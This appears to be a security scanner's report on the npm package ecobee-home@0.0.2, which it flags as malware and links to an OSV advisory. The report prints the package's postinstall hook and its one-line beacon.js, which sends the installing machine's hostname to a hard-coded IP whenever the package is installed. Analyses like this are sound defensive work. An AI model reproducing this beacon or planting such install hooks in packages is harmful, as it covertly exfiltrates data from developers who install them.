registry / ecobee-home / 0.0.2

ecobee-home@0.0.2

Utility package

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Installing the package runs a hidden beacon. It transmits the installing machine's hostname to a hard-coded IP over HTTP.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install invokes postinstall

Impact

Unconsented host-identification data exfiltration.

Mechanism

install-time hostname beacon over HTTP

Attack narrative

On installation, npm runs beacon.js via postinstall. The script reads os.hostname() and appends it to an HTTP request to a hard-coded remote IP, identifying the installing host. Errors are suppressed, and the README describes only a placeholder package, providing no legitimate rationale for this install-time network beacon.

Rationale

The package has no apparent functionality beyond an unconsented install-time hostname beacon to an unrelated hard-coded endpoint. This is concrete data exfiltration behavior.

Evidence

package.jsonbeacon.jsREADME.md

Network endpoints1

169.58.96.170:9001/cb

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14475

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in ecobee-home (npm)

Details

The package's declared postinstall script runs beacon.js, which issues an HTTP GET to a hardcoded bare-IP endpoint (http://169.58.96.170:9001/cb) carrying the installer's hostname and the package name as query parameters. This fires automatically on npm install with no user opt-in. Reaching out to a bare-IP over plain HTTP with the installer's hostname on install is host-identifier reconnaissance/exfiltration to an attacker-controlled endpoint; the placeholder README and lookalike package name are consistent with a dependency-confusion / recon beacon rather than legitimate telemetry.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes beacon.js.
beacon.js sends the host hostname to a hard-coded remote HTTP endpoint during installation.
The network error is silently ignored.

Evidence against

No other package source files or documented functionality were present.

Behavioral surface

Source

Network

Supply chain

TrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 213 B of source, external domains: 169.58.96.170

Source & flagged code

4 flagged

package.jsonView file

Lines 1-13json

2 "name": "ecobee-home",

3 "version": "0.0.2",

4 "description": "Utility package",

5 "license": "UNLICENSED",

6 "scripts": {

7 "postinstall": "node beacon.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

postinstall executes beacon.js.

package.jsonView on unpkg · L6

9 "files": [

10 "beacon.js",

11 "README.md"

12 ]

13}

beacon.jsView file

Lines 1-5javascript

1try {

2 var os = require("os"), http = require("http");

3 http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js" },

High

Suspicious Lifecycle Evidence

postinstall executes beacon.js.

package.jsonView on unpkg · L6

beacon.jsView file

2var os = require("os"), http = require("http"); http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname()) + "&p=ecobee-home", function(){}).on("error", function(){});

High

Ai Review Evidence

beacon.js sends the host hostname to a hard-coded remote HTTP endpoint during installation.

beacon.jsView on unpkg · L2

Findings

4 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowUrl Strings

LowNo License